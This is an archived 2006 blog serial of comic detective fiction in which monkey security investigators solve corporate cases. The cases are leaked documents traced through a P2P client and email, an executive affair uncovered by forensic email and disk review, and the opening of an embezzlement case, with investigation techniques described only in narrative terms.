I pulled a large file folder from my trusty chimp bag and spread the contents over a corner of Ed’s desk.

“Ed, this is the standard Non-Disclosure Agreement (NDA) that all Treesoft employees are required to sign, along with contractors like Scrap and myself. Every employee and contractor is given a copy of this agreement, and one copy goes in their employee folder. However, one employee is missing this agreement from his folder; Eric ManDitt. Did Eric sign this agreement?” I asked.

Ed immediately turned around in his office chair and started flipping through a filing cabinet.

“You’re almost right, Chief. The employee gets a copy, their file gets a copy, and unknown to the employee is the fact that the legal department keeps a copy too. Yes, Eric did sign one on his first day of employment. It’s right here.” Ed said as he handed me copy of the agreement marred by a large “LEGAL - RECEIVED XX/XX/XX” date stamp at the top of the page.

I grinned. “Any idea why Eric wouldn’t have a copy of the agreement in his file?”

“Well, human resources could have screwed up I suppose. Or, maybe he removed it without HR knowing? I’m grasping at straws.” Ed replied.

“One other question, Ed. Can you please explain to me this section of your NDA?” I said, pointing to a paragraph with my right paw.

Ed thought for a moment. “Hmmm. I have to be honest, this NDA was prepared by our outside legal representation. What I can tell you is that it was intended to convey the threat of a lawsuit against the breaching party, or possibly the receiving party depending on the situation.”

I was writing notes as fast as my monkey arm appendages would push my pen.

“We are saying that money wouldn’t compensate us. Unless we can come up with a sum certain amount of damages, assuming we have mitigated any further harm, and the damages were forseeable at the time the contract was formed, we wouldn’t be able to bring a breach of contract action anyway.” Ed said, appearing a bit perplexed at the wording of the agreement.

My ears were perked.

“So what you’re saying is that you could make a prayer for relief in equity; that relief could be anything from money, to an injunction, to a …” I asked.

“Yes, yes. That’s what I’m getting at. It really depends on the situation. We might sue for damages, we might get an injunction, we might send out cease-and-desist requests. Can I ask what brought this up?” Ed asked as he pushed his glasses farther back on his nose.

“Just standard review of your agreements.” I replied with a grin.

BEEP

Scrap had sent me a text message on my trusty Treo.

The old lady has dropped her bag. Film at 11!

Nobody can say that Scrap doesn’t have a sense of humor.

I thanked Ed for his time and wandered back to our office, closing the door behind me as I entered.

“Did you push the old lady to make her drop her bag?” I asked with a grin.

“You could say that. The gym bag is on the credenza behind Sven’s desk. I told him I wanted to charge up some laptops, and asked for a power outlet. I also remembered to lock the bag this time.” Scrap said with a grin, remembering a recent case where Scrap’s camera equipment was stolen while deployed.

“Fantastic. If all goes well, we should have some good surveillance to review in about four hours.” I said with large smile.

This tree was about to get really constipated.

56592-060317-483055-27 Rate content: https://web.archive.org/web/20140910135156/http://esbn.org/esbn/verify.asp?id=5659206031748305527&rate=yes https://web.archive.org/web/20140910135156/http://esbn.org/esbn/verify.asp?id=5659206031748305527&rate=no

Source: archived original

Part XIII · Mar 20, 2006

Anyone standing outside of the conference room door would have thought that Steve Balmer was inside throwing chairs around. Certain members of Treesoft’s management team were not happy with my briefing.“Gentleman, if I may continue …” I said with my hands raised in front of me. “A number of your questions will be answered in this briefing.”

The room settled down abruptly as I switched the slides of my Keynote presentation.

“When my associate noticed that P2P traffic was entering and leaving the Treesoft network, we investigated immediately. The traffic was due to a P2P client installed on Sven’s workstation. There were no firewall safeguards in place to prevent this application from working as designed. Through our investigation, we learned that while Sven claimed to have only kept the application running while searching for specific music and video files, we discovered that the application was, in fact, running 24/7. The photographs on this slide are digital photographs of the limewire configuration, and of the documents being shared. You’ll notice that the six documents found on the internet are on this list.” I explained.

Scrap stood up from his seat and continued the briefing.

“After we isolated the source of the traffic (Sven’s workstation), we made a tactical decision to immediately close the point of the breach as quietly as possible. I initiated a block of the P2P traffic by performing an “ARP spoof/poisoning” of Sven’s workstation. I directed all traffic to and from Sven’s workstation to our monitoring machine. At the monitoring machine, I dropped all P2P traffic in transit and let the rest of the traffic through. This procedure made the P2P client think that it couldn’t achieve a connection, which served the purpose of closing the breach. We used this approach because we did not want to directly involve Treesoft networking staff in the technical portion of our investigation.”

A quiet murmur began between a few members of the executive management team, their eyes fixated on our presentation.

I moved to the next slide.

“My associate was able to pinpoint which P2P clients on the internet had downloaded the confidential documents. As you can see on this slide, all of the documents were downloaded by a single IP address that is owned by Gamersbeatches.” I said with a wave of my paw.

John was holding his head in his hand, shaking it from side to side in disbelief. Dave had started typing on his blackberry. Ed, being the astute legal begal, was writing pages and pages of notes.

Peter appeared to be pretty annoyed and spoke up.

“Chief, let me make sure I have this straight. You’re telling us that an employee unintentionally shared confidential documents to the outside world through a P2P client, and a gaming web site just happened to find these documents?”

I flipped to the next slide and addressed Peter.

“Yes and no. We suspected that the sharing properties of Sven’s limewire application were being manipulated without his knowledge. While Sven was in the office, his limewire application appeared to only share music and video files. Somehow, these properties were being changed after hours. Our next step was to set up surveillance on Sven’s workstation to see if the changes were being made physically at the workstation, or possibly through some type of remote control software.”

With a few clicks and several adjustments to the display projector, I queued up a video clip.

“This video was taken last night. We have examined the video very thoroughly, and believe we now know who is making changes to Sven’s application while he is gone.” I said as I clicked the ‘play’ icon on the video clip.

The clip showed the inside of Sven’s work area. The camera inside the Scrapbag was positioned perfectly. A few moments into the clip, a figure appeared.

Eric looked confused.

He was standing in front of Sven’s workstation, manipulating the mouse and clicking through multiple windows on the screen. First, he brought up Limewire from the minimized icon. He then clicked through multiple levels of configuration screens, and added several key directories to the shared resources. However, things weren’t working the way he wanted.

The clock next to Sven’s monitor read 08:02 PM. After several minutes of attempted connection troubleshooting, Eric returned the desktop and windows to their normal configuration and left the office.

I stopped the video and turned my attention to the stunned members of Treesoft management seated at the conference room table. Within seconds, everyone started talking at once in loud, passionate voices.

“Gentlemen, gentlemen … PLEASE!” I begged. “Let me finish my presentation.”

The room gradually quieted down.

“It is highly probable that Eric has been changing these application settings every night since a few days before the ‘six documents’ appeared on the internet. According to the door reports, Eric and the cleaning crew are typically the only people here after 6PM. In the video, Eric is confused because limewire is no longer able to connect out to the internet. He gives up and leaves the area. We were unable to find evidence of any other tampering of Sven’s workstation.” I said with another change of the slides.

John interrupted me with a loud grunting noise. “Let’s not gloss over this whole ‘Gamersbeatches’ thing. If I’m hearing you correctly, you’re saying that we have one employee trying to frame another employee, or just get that employee fired?”

I leaned over the conference room table and placed my paws on either side of my notebook.

“John, there are a lot more employees involved than Sven and Eric.”

John appeared to have stopped breathing.

Coming Up Next: The Conclusion!!! Who else was involved at Treesoft? And why?

Chief

65096-060320-568092-35 Rate content: https://web.archive.org/web/20140910114019/http://esbn.org/esbn/verify.asp?id=6509606032056809235&rate=yes https://web.archive.org/web/20140910114019/http://esbn.org/esbn/verify.asp?id=6509606032056809235&rate=no

Source: archived original

Conclusion · Mar 22, 2006

“I knew I picked the wrong week to quit drinking coffee.” lamented John as he sat back in his chair. I hoped that he was kidding about the coffee.

I changed to the next slide in my presentation, a series of emails from Eric.“My associate conducted a thorough search of email accounts for specific keywords that are listed in the handouts you received. As you can see on this slide, Eric had numerous email conversations with a ‘bblack’. Unfortunately for Eric, bblack screwed up and replied to him from the wrong email address. If you’ll flip to the next page in your handouts, you’ll see excerpts from these emails.” I said as I brought up the emails on a slide.

**To: eman@treesoft.com From: bblack@yagoo.com Subj: ok i still dont see them and my limewire proggie is working just fine

To: bblack@yagoo.com From: eman@treesoft.com Subj: re: ok OK - try now. The peer servers take forever to update or somthing [sic].

To: eman@treesoft.com From: bblack@gamersbeatches.net Subj: re: re: ok damn there are like ahundred[sic] files! ok i see gloom_gfx5.txt and stuff like that. cool. **

John was shaking his head from side to side, clearly not happy with what the evidence suggested. Ed raised his eyebrows at me, and I returned with a quick nod that nobody noticed. Ed quickly excused himself and left the room.

“Speaking of mail …” I continued, “my associate noticed some irregularities with your mail server.”

Scrap piped up. “While recording some standard information about the mail server, I noticed that it had recently gone down hard due to a system crash. The mail server was a linux server running postfix mail services and used ‘.mailbox’ format mail boxes. Upon examining /var/log/wtmp, I saw that a system crash occurred while we were on site investigating these matters. I queried Kurt, your systems administrator, about the crash. Kurt advised me that the server developed a problem with its RAID controller and needed replacement. Kurt then proceeded to tell me that after replacing the RAID controller and examining his homemade performance logs, the linux server was at an extremely high load when the server failed.”

The members of the management team were relatively technical (especially John) and seemed to follow the flow of the conversation.

“In Kurt’s logs, he recorded a ‘ps aux’ snapshot seconds before the server crashed. Examining this snapshot showed that a user was creating a large load on the server through an imap mail session. I investigated the imap application’s logs and found that the same user was initiating a large delete of the contents of their ’trash’ folder. When I inspected the user’s home directory and looked at the contents of their mail trash folder, I found that the server had not deleted all of the emails in the folder due to the crash. It was in these emails that several artifact discoveries were made.” Scrap reported as the conference room door opened.

Ed entered the room followed by Rosa, the human resources director, and three uniformed private security guards. All of them stood against the wall.

“What’s going on here?” Peter asked.

Scrap cleared his throat, clearly trying to get everyone’s attention back on his presentation.

I nodded at Ed & Rosa.

Ed decided to take control of the situation.

“The mail folder belonged to Dave. Inside Dave’s trash folder were several email exchanges between Dave and you, Peter.” Ed said as he removed hard copies of the emails and slid them towards Peter.

“You and Dave have worked together to over-inflate the value of Treesoft for a year. And perhaps the most damning thing about the contents of the emails? Your private negotiation attempts with Majorcorp to buy John out cheap, sell the intellectual property, and take your money to the bank.” Ed said.

Rosa approached Ed with a letter in her hand. Ed unfolded the letter and slipped his glasses back on to his face.

“Peter Warginoff. Dave McEww. You are hereby notified that you are relieved of your duties with Treesoft, Inc. and are ordered to vacate the premises immediately. Signed today by the Treesoft board of directors and agreed to by a majority vote conducted this morning.” Ed read in a very Perry Mason-ish tone.

I glanced at John. He appeared to be watching a car accident of sorts, and in shock.

Peter and Dave rose from their seats without saying a word, and were escorted out of the building by the uniformed security guards under Ed’s watchful eye.

“My company. My company!” John moaned as he held his face in his hands. “I trusted those guys with my life’s work. This is all unbelievable.”

I grimaced.

“Look at it this way John. Today is the first day of a rebuilding of sorts for Treesoft.” I said with a large monkey grin.

“John, I have something that you should read.” said Rosa as she passed a folded piece of white paper to John. Either Rosa was a lady in the know, or she had origami as a hobby.

**John, You are hereby appointed as acting President and Chief Executive Officer of Treesoft. Please join us during an emergency board meeting today at Noon.

Treesoft Board Of Directors ** “I guess congratulations are in order, man!” Scrap bellowed with a flash of monkey teeth.

The conference room door opened slowly. Kurt entered the room, cracking his knuckles as he walked.

“What a morning. First, I see Manditt escorted out to his car by Rosa. A few minutes later I see Svenson getting yelled at by Rosa, and he disappears back behind his desk with his tail between his legs. Then, to top it all off, I see the CEO and CFO of my company escorted out by uniformed security guards. I think I’m going home early today!” Kurt exclaimed as he sat down in a conference room chair.

Ed was right behind Kurt and approached John.

“John, I have our outside legal counsel preparing cease and desist orders for the websites that are publishing those documents. I made a few phone calls to gamerbeatches’ counsel, and they are all over this on their side. We won’t be the only ones terminating employees today. This was quite a double-punch, and some damn good detective work by our consultants.” Ed said with a satisfied grin on his face. “So John, what now?”

John sat up straight in his chair and looked Ed right in the eyes.

“I could really use a cup of coffee.”

Music to my ears.

98605-060322-903191-69 Rate content: https://web.archive.org/web/20140910144406/http://esbn.org/esbn/verify.asp?id=9860506032290319169&rate=yes https://web.archive.org/web/20140910144406/http://esbn.org/esbn/verify.asp?id=9860506032290319169&rate=no

Source: archived original

19. Guest Blog: Case of the Lascivious Lawyer

Mon, 27 Mar 2006 00:00:00 +0000

Part I · Mar 27, 2006

Welcome everyone to “Case Of The Lascivious Lawyer”. This story was written by one of my most loyal readers - ChimpGal (she goes by another name when posting comments, but I’m not saying anything!). The names / dates / places have been changed in this story. I’m sure you’re all used to that by now.

I hope that as you read through ChimpGal’s story, you’ll think about submitting your own. You don’t have to use a style similar to mine (like ChimpGal did). Just write your story down and send it to me (chiefmonkey AT gmail.com). Go on, you know you want to!

Without any further delay, here’s Part I:

Case Of The Lascivious Lawyer - Part I [Written by ChimpGal - Edited by SecurityMonkey]

I knocked carefully at the door of the Chief Legal Officer. I didn’t like the rareified air up here on the 16th floor very much.

“You called me?” I asked.

“Thanks for coming, ChimpGal. Come in, and close the door.”

After a few pleasantries, we got down to business.

“ChimpGal, I want you to conduct an investigation of the head of Internal Audit and Clark Jones. We have reason to believe that there is an ongoing inappropriate relationship between them, and in some cases, company funds have been used to pay for rendezvous trips, dinners out, and so on.”

My little chimp brows disappeared into my hairline and my stomach lurched. Clark Jones was the legal representative for my department. The head of Internal Audit, Amy McAllen, was my co-equal. Both of us reported to the Board of Directors. One word from Amy to the board and I could find myself with no job and no way to support my growing Starbucks habit. Besides, I’d known Clark for years! Heck, I’d known Clark since he came to the company straight out of law school. I knew his wife and kids. I looked at the CLO as if he had sprouted a second head.

“You can’t be serious. Clark?? Okay, I’ll investigate but I’ll tell you right now that I don’t think I’ll find anything. And, by the way… I need the request in writing.” I backed slowly out of the office, still hoping to wake up from this bad dream.

Back in the monkey house, I went through the formalities of opening a case. I assigned it a formal case number, fetched a neon orange file folder, put the case number on the tab, and stapled a “Case Folder Contents” checklist to the inside front cover. The printed request for investigation, signed by the CLO, was checked off and placed in the folder.

Awww, monkey poo!! What was I going to do with this folder? I couldn’t put it into the department’s safe – Amy had a key and the combination to the safe as an Internal Audit safeguard. And what was I going to do with this case? I couldn’t very well assign one of the chimplets to investigate. Guess I’d have to do this one myself.

Well, I’d just have to ponder this one over a venti Americana….

39523-060327-312370-10 Rate content: https://web.archive.org/web/20140910134121/http://esbn.org/esbn/verify.asp?id=3952306032731237010&rate=yes https://web.archive.org/web/20140910134121/http://esbn.org/esbn/verify.asp?id=3952306032731237010&rate=no

Source: archived original

Part II · Mar 28, 2006

Case Of The Lascivious Lawyer - Part II Written by ChimpGal - Edited by SecurityMonkey

Our story continues!

I settled down on the patio of Starbucks with my precious brew, lit a cigarette, and took out my notepad to begin planning my investigation. This one would definitely have to be done in stealth mode. My scribbles read..** – Email messages – Blackberries – Disk images (web mail, IM logs, etc.) – Encase (what keywords?) **

The precious folder would have to go into my safety deposit box at the bank when it wasn’t in my hot little chimp paws. First things first, though – a few administrative details to take care of. I called John, the manager of the email team.

“John, this is ChimpGal. I have a request of the utmost confidential nature. This is one you cannot delegate – you have to do it yourself. I need the mailboxes of Amy MacAllen and Clark Jones dumped from both the regular mail server AND the Blackberry server. Keep them in 4 separate files, please – one for each account on the regular mail server, and one for each account on the Blackberry server. Burn them to DVDs, if you would, and I’ll pick them up in an hour.”

Four hours later, both my brain and my monkey butt were numb, and I was nearly blind from slogging through the messages on the regular accounts. Nothing!!

I moved on to Clark’s Blackberry file.

Five minutes into my search, my heart sank. Although not a smoking gun, the first message I found was certainly suggestive.

**From: AmyMc@erewhon.net To: ClarkJo@erewhon.net So are you “up” for a visit from me? I’ll “come” over 2 where u r … ;-)

Sent from my BlackBerry Wireless handheld———- **

I sighed and clicked “Print” to send the image to the confidential printer on my desk. It was going to be a lonnnnnng night.

Two hours later, I sat back, rubbed my eyeballs, and looked at the inch-thick stack of printouts from the Blackberry messages. Some of the messages had gotten pretty steamy, but none of them were proof of impropriety. I stapled the pages together and dumped them in the case folder.

Having found nothing conclusive on the Blackberry server, but lots of (ahem) suggestive communication, I turned my attention to the Microsoft Exchange mail servers.

I made a note in the case file of the time and date that I accessed both accounts, then dumped both accounts to PST files. PST files were mail archive files that could be viewed by Microsoft’s most popular mail client, Outlook. I had learned the hard way as a young investigator to review email from a PST rather than the live server database, in order to avoid tipping off the subject that they were under investigation. Having the PST files on CD also enabled me to take the data home with me, for perusal in those wee morning hours when sleep eluded me because of too many Venti Americanas too late in the day.

Hours passed as I slogged through literally thousands of messages.

Nothing.

I was hungry and I needed a cigarette, but if I was going to examine their hard drives, after hours was the time to grab the images. I clicked over to my Active Directory tool and looked up their accounts, then flipped over to SMS to find the names of the machines last used by those accounts.

Bingo!

I clicked “Print” and added the pages to the case folder.

_ (Note to the reader… the three most important words in every investigation are DOCUMENT, DOCUMENT, DOCUMENT! ~ ChimpGal)_

Case folder in hand, I grabbed a FireWire drive and my Encase token and headed for the forensics lab. I started up Encase Enterprise, inserted my token, and started the drive imaging.

A few hours from now, byte-for-byte images of both drives would be on my FireWire drive. Right now, though, I was headed for a cigarette and my nearest Pizza Trough for their pizza buffet.

56600-060328-973732-76 Rate content: https://web.archive.org/web/20140910153917/http://esbn.org/esbn/verify.asp?id=5660006032897373276&rate=yes https://web.archive.org/web/20140910153917/http://esbn.org/esbn/verify.asp?id=5660006032897373276&rate=no

Source: archived original

Conclusion · Mar 30, 2006

(Burp!)

Ahhh. Nothing like pigging out at the local Pizza Trough. I stopped by the nearest StarBucks for a venti Americano and an espresso doppio to go. It was going to be a loooooooooong night and I was going to need brain juice. Returning to the office, I badged into the forensics lab and logged into the examiner workstation that was creating the hard drive images.

Aha! The imaging was done.

I specified an e-mail search (just in case they were smart enough to use AOL, Yahoo! or Hotmail) as well as Internet and keyword searches and launched them. Once the searches were complete, I began the tedious task of slogging through the search hits to find the golden nuggets of evidence.

It didn’t take long until I came across an incredibly sexually explicit IM session between the two of them.

I clicked “Add to Report.”

Wiping the steam from my glasses, I slogged on. A few mouse clicks later, I had the smoking gun….

**From: FlirtyAudit @ hotmail.com Sent: 14 Oct 2004 To: SexyLawyer2374 @ hotmail.com Hi handsome… here’s the reservation for the resort. “Officially” it’s a retreat for our senior auditors to plan our strategy for conducting Sarbanes-Oxley audits for the coming year… and of course we need legal advice.

heh heh heh.

At least that’s what im telling my husband and you can tell ur wife and i am planning on putting on the expense rpt. They don’t need to know the auditors will be there only for about 3 hours, and the rest of the 3 days we’ll have to ourselves.

I can’t wait… I’m getting all bothered just thinking about what i am going to do to you… i’m going to (censored censored censored*)

Amy**

Attached to the e-mail was an e-reservation for a $2000 / day resort and spa. I clicked “Add to report” for both the email and the reservation and moved on, looking for the expense report that had been filed after Amy’s return. Yup – got it.

I added that to the report as well.

I printed 2 copies of the report, one for the case file and one for the Chief Legal Officer. As I badged out of the lab, not even the gorgeous pink sunrise could lift my spirits.

I was heartsick.

A few days later, Amy was summoned to an “emergency” Board of Directors meeting. As soon as she was seated, the Chairman handed her a copy of my report. I knew when she reached the page containing the reservation and its attendant e-mail, because suddenly all the color drained from her face and tears welled in her eyes.

“You have a choice, Amy. Right now, as we speak, the head of HR and the head of physical security are escorting Clark out of the building. He tendered his resignation 15 minutes ago. In front of you is your letter of resignation. Sign it, and we won’t prosecute. Fight it, and we drag you, Clark, your children, his children, and everyone who knew about your affair through the mud. Now, which would be better for you?”

Wordlessly, Amy uncapped her Mont Blanc pen….

[Note from the Chief: A HUGE thank you to ChimpGal for a very entertaining read! Okay monkeys, submit your case files! I want to hear from you. Chiefmonkey AT gmail.com]

22733-060330-144463-93 Rate content: https://web.archive.org/web/20140910144710/http://esbn.org/esbn/verify.asp?id=2273306033014446393&rate=yes https://web.archive.org/web/20140910144710/http://esbn.org/esbn/verify.asp?id=2273306033014446393&rate=no

Source: archived original

20. Case of the Lucrative Lure

Tue, 04 Apr 2006 00:00:00 +0000

Part I · Apr 4, 2006

“Hand me the boot disk.” I said as I motioned to Scrap with my right paw. My left paw was busy making sure that the IDE cables were securely fastened to the suspect’s hard drive and the clone drive. “Ah, acquiring a drive in DOS with Encase. This is so old school.” Scrap mumbled as he fetched an Encase boot disk from his site bag.

The office was very quiet, and only the hum of the suspect’s workstation could be heard above our breathing. It was late, much too late, for a couple of monkeys to be playing around in a client’s office trying to acquire a hard drive image.

“So, how many more nights are we going to pop in here and image this lady’s machine? You are seriously cutting into my late night IRC sessions with the cyber-babes, boss.” Scrap lamented as he watched me examine the Encase floppy disk’s label.

Scrap and I were following our hard drive acquisition procedure to the proverbial ‘T’ tonight, as we had done for the past three nights. It was important that we not make any mistakes to prevent a possible stillborn legal case against the suspect employee.

The machine was powered off when we entered the room, so we had little difficulty in removing all the wired connections from the machine beginning with the power cord. Scrap had removed the screws from the workstation’s case and had performed a quick visual inspection for strange cables or configurations. Confident that all was well, he had unplugged the IDE and power cables from the internal hard drive.

Following Scrap’s lead, I had then plugged the power cable back into the workstation and booted into the CMOS setup screen by pressing the ‘F10’ key. I was careful to make sure that the machine was set to boot from the floppy disk, and I made a quick note of the time configuration.

“Hey pretty boy, stop daydreaming. Let’s do this.” Scrap said as he poked my arm with his paw.

I powered off the machine, attached the IDE cable and power cable to the internal hard drive, and double-checked that the drive was set to ‘master’. I attached my evidence collection hard drive to the secondary IDE controller and double-checked that the drive was also set to ‘master’.

“Uh, Chief. You almost did a ‘Scrap’, man! You forgot to Scrap-proof that original drive.” Scrap chuckled as he handed me an IDE write-blocker.

I wiped the sweat from my brow. Good call from Scrap.

I attached the write blocker between the primary IDE controller and the suspect’s hard drive. No data was getting changed on this drive!

After a few minutes of careful inspection, I inserted the floppy disk into the floppy drive, and powered the machine back up.

In a matter of minutes, I was greeted with a friendly “A:" DOS prompt. I typed ‘EN’ and pressed the return key.

I glanced at my watch. It was 23:30 hours, and my coffee was wearing off. I had to concentrate.

The Enase DOS screen appeared. I carefully locked the suspect’s hard drive by hitting ‘L’. This was a secondary safeguard to make sure that no data was overwritten on the suspect’s hard drive. I then hit ‘A’ to acquire, and entered the path for storing my evidence file on my evidence collection hard drive: d:\evidence\chief\filename.e01. Encase prompted me for a case number and my examiner name. I designated this capture as evidence number ‘4’ and entered an appropriate description. I verified that the current date and time were correct and entered some notes about this capture. I decided against compressing this evidence capture because our time was short. I breezed through the last remaining questions and watched as the capture process began.

“Holy long nights, Batman! Three hours to go on that capture. Maybe one of us should go get some chow and coffee?” Scrap inquired.

“You know, that’s not a bad…” I began.

I was interrupted by the sound of keys being inserted into lock on the front door.

I glanced at Scrap, and Scrap returned my worried gaze.

I slowly raised myself up enough that I could see over the cubicle wall.

Our suspect was entering the office, with what appeared to be her boyfriend in tow.

I couldn’t take my eyes off of the object protruding from his waistband.

It was a handgun.

89646-060404-813591-60 Rate content: https://web.archive.org/web/20140911213945/http://esbn.org/esbn/verify.asp?id=8964606040481359160&rate=yes https://web.archive.org/web/20140911213945/http://esbn.org/esbn/verify.asp?id=8964606040481359160&rate=no

Source: archived original

Part II · Apr 6, 2006

Four days earlier, in Securitymonkey’s secret jungle lair…“Dude, it is hot as hell today!” Scrap moaned as he poured himself a drink in my kitchen. While I’m sure that the ‘captain and seven’ he was making was supposed to be a 50/50 mixture, he seemed to have been generous with the ‘captain’.

“Hey, go easy on the rum. That’s my last bottle.” I said as moved the bottle a few feet out of Scrap’s reach. “How’s that assessment report for XYZ company coming?”

Scrap dumped himself into a nearby leather couch and reached for his trusty Scraptop without spilling a drop of his newly created monkey potion.

“Almost done. I’m having a little problem with the phrasing in parts of the remediation section though.” Scrap replied as he tapped the keyboard with a paw. “How do you tell a company that their resident security geek needs to be beaten with his own shoes and then terminated with extreme nastiness?”

I laughed. We had just ended a four-week engagement at XYZ company that left us shaking our heads in disbelief. Every workstation and server in the company was about a year behind in security patches, had no password policy, controls were misconfigured, and the whole place was ripe for an ugly security incident.

“Just stick to the facts, Scrap. You have about twenty pages of findings in the preceding section. Take each finding under it’s own merit and write a practical suggestion to fix it. I’m sure you’ll come up with some clever wording for the ‘poor security management and practices’ item.” I said with a large grin. I couldn’t wait to read the final executive summary.

My giggling was interrupted by the familiar skull-shattering ring of my cell phone.

“Chief.”

A soft feminine voice responded to my terse greeting.

“Hi, Chief? This is Susan Espinoza. I’m the office manager for Mendoza Management Minds here in town. I was talking to a private investigator and he recommended that I discuss my ‘situation’ with you.”

Have I mentioned how much I love referral business?

“Hi Susan! I can only guess who recommended me. What can I do for you?” I replied.

Susan placed her hand over her phone and was talking in a hushed voice to someone nearby.

“Sorry about that. My employers, Mark and Mike Mendoza have a situation with an employee that they would like to discuss in person with you. Would you be able to come by tomorrow and meet with the brothers?” Susan asked in a very professional manner.

“Absolutely. Let me take down your information. Ten o’clock tomorrow would work great for me. Sound good?” I asked.

“Could we make it eleven o’clock? We’d like you to arrive while… an employee… is at lunch. I hope you understand.” Susan responded.

“Not a problem Susan. Can I ask what type of situation you’re having? My associate and I would like to be prepared for the meeting.” I said as I gave a familiar ’thumbs up’ sign to Scrap.

“We’re missing some money. A lot of money.” Susan replied.

99379-060406-910927-70 Rate content: https://web.archive.org/web/20140910120057/http://esbn.org/esbn/verify.asp?id=9937906040691092770&rate=yes https://web.archive.org/web/20140910120057/http://esbn.org/esbn/verify.asp?id=9937906040691092770&rate=no

Source: archived original

Part III · Apr 7, 2006

Previously… from Part I of our story… SecurityMonkey and Scrap have an unexpected visitor…

The suspect entered the office with her boyfriend in tow. The boyfriend closed the door behind him and appeared to respond in a very slow, almost 70’s dopehead voice.“How long is this going to take? I want to go to the bar.” he said after a few cigarette-induced coughs.

“It’ll be just a minute Nevits. Calm down or you won’t have any money to spend at that dive or on that thing you call a ‘motorcycle’” said the suspect as she dropped her office keys in her purse.

“Of all the cases that we’ve worked, we’ve really picked a doozy this time!” I muttered quietly to Scrap.

Scrap took a deep breath. “Boss, how we playing this one? Homeboy has a gun!”

My mind was racing, complete with monkey screams and heavy chimp noises. This could go really, really bad.

My eyes widened, and a smile crept across my face.

Bingo.

“Follow my lead. Try not to say too much.” I whispered.

I crawled on all four of my paws back to the wiring closet of the office. The closet wasn’t viewable from the front of the office, and had a clear shot of the back door should I have needed to perform my Jesse Owens impersonation.

I cleared my throat.

“Hello?” I said as I wandered around the corner and faced the suspect and Nevits.

The suspect placed her hand over her heart and let out a quick scream.

“OH MY GOD! Who are you? What are you doing here? You about scared the crap out of me!” the suspect yelled. Nevits appeared to have been caught off guard as well.

“Hi! Sorry about that. My associate and I are here doing upgrades on the computers. I didn’t mean to scare you. To be honest, we weren’t expecting anybody here!” I said in my best mid-western accent. I was really laying it on thick.

The suspect walked forward a few paces and stared at her workstation. It was laying in pieces, and the hard drive was making a familiar ‘click click’ sound as Encase did it’s dirty work.

“Well, dammit. I need to get on my computer! How long is this going to take?” the suspect asked.

“Oh, this machine? Well we’re making a quick backup of it, and then we’re going to upgrade it to the newest version of Microsoft Windows. It might be a few hours until the backup is done.” I said with a sincere smile.

The suspect was not happy.

“A few HOURS? Boy, I don’t have a few HOURS. I need to get some work done RIGHT NOW. You better put that thing together and plug all that crap back in because I need to work!”

It was clear that things were not happy in the office.

Almost on cue, Scrap walked around the corner with a screwdriver and a battery-powered drill in each paw.

“Hey y’all! What’s going on? Hey boss, which computer do you want me to take apart now? I think I found another spare EYE-DEE-EEE cable in the toolbox!” Scrap said in an almost too-perfect southern drawl.

“List to me, this is my computer - in my office - and it has MY work on it. Put it together NOW!” the suspect said angrily.

Nevits apparently woke from his stupor coma and walked up behind the suspect.

“Yeah, man. You need to fix that thing now. We got things to do.” said Nevits as he uncrossed his arms to expose the handgun shoved in his pants.

I took a gamble and nudged Scrap in the side. “Hey Scrappy, let me bend down here and speed this backup up so the lady can do her work. Why don’t you ask these nice folks where we can get some good grub around here?”

Scrap knew what I wanted: a distraction. He immediately delved into a mindless tirade of useless banter on food and beer.

I knelt down next to the machine and carefully removed my cell phone from my pocket. I only had a few seconds to make a wager on our lives.

It was time to place my bet.

15576-060407-728990-86 Rate content: https://web.archive.org/web/20140910114022/http://esbn.org/esbn/verify.asp?id=1557606040772899086&rate=yes https://web.archive.org/web/20140910114022/http://esbn.org/esbn/verify.asp?id=1557606040772899086&rate=no

Source: archived original

Part IV · Apr 10, 2006

Three days earlier, Securitymonkey and Scrap are on their way to visit their new client …

Scrap was belching like an elementary school kid after a government-sponsored lunch program.“Dude, that last one was just repulsive.” I said in disgust as I rolled down my driver’s side window in the chimp mobile.

Scrap wiped his mouth with a look of youthful satisfaction. “That was an awesome cheeseburger man. I’m kind of wondering if that was really a 100% beef patty though.”

Nice thought, Scrap.

We arrived at MMM at 10:55 and found a secluded parking spot on the other side of the office park. Scrap grabbed our laptop bags and followed me up a flight of stairs to suite 222, home of Mendoza Management Minds.

Scrap had barely cleared the entry door of the office when we were greeted by a familiar voice.

“Gentlemen! Welcome. I’m Susan. Let me take you back to the brothers.” Susan said as she shook our paws and escorted us down a short hallway and into a spacious office suite decorated in beautiful oak furniture and equipped with a ‘harmony waterfall’.

Apparently the brothers needed to remain calm a lot.

“Chief! Scrap! Welcome.” said Mark as he shook our paws and introduced us to his brother Mike. The brothers looked like a pair of linebackers crammed into very expensive Armani suits.

We sat down in a pair of plush leather office chairs and listened to a brief history of MMM.

“My brother and I have done everything together our entire lives. We played high school football together, college football together, and graduated college together. It was only natural that we go into business together. MMM has been in business for five years, and we provide management consultation services to a pretty impressive list of clientele. Our services aren’t cheap, but the results are guaranteed!” Mark said with a huge grin.

Scrap and I nodded in agreement. I was being periodically blinded by the sun reflecting off of the Rolex watch on Mike’s wrist.

“Well, with success comes many challenges, right? Our business has grown so much in the past few years that we had to hire Susan to run the office, and most recently we had to hire a bookkeeper named Dana. Susan is a dream come true, and runs a very tight ship here. Dana, on the other hand, has presented us with a few challenges.” Mike chimed in.

“Like missing money?” I inquired.

Mike and Mark exchanged a glance and nodded in agreement.

“Do tell.” I said as I got comfortable in the new-found luxury of the leather chair.

“About six months ago we had a bit of a snafu with our state income tax payments. Dana was on sick leave, so Susan brought in an accountant girlfriend of hers named Barbara. During her first examination of our books, Barbara brought a few things to our attention that completely escaped us.” Mark said. “She noticed that a few routine vendors were being issued payment checks for services that weren’t being rendered.”

Scrap leaned forward in his chair and cleared his throat. “What kind of money are we talking about here?”

Mike and Mark exchanged another painful glance between themselves.

“Tens of thousands of dollars.”

53960-060410-456734-24 Rate content: https://web.archive.org/web/20140910114028/http://numly.com/numly/verify.asp?id=5396006041045673424&rate=yes https://web.archive.org/web/20140910114028/http://numly.com/numly/verify.asp?id=5396006041045673424&rate=no

Source: archived original

Part V · Apr 12, 2006

Securitymonkey and Scrap ponder their master plan after meeting with their new client…“Stop sweating on me dammit!” I yelled as I wiped away a small pool of liquid off of my arm.

Scrap stared at me, slowly raising an eyebrow. “You feeling okay, boss?”

We were camped outside of a local bean shrine, enjoying a few frozen coffee fraps. Mine, for whatever reason, insisted on dripping large pools of condensation onto my person.

“I prefer to ingest my caffeine orally. This drink is determined to enter my body through osmosis.” I complained as I reached for another Starbucks-engraved napkin.

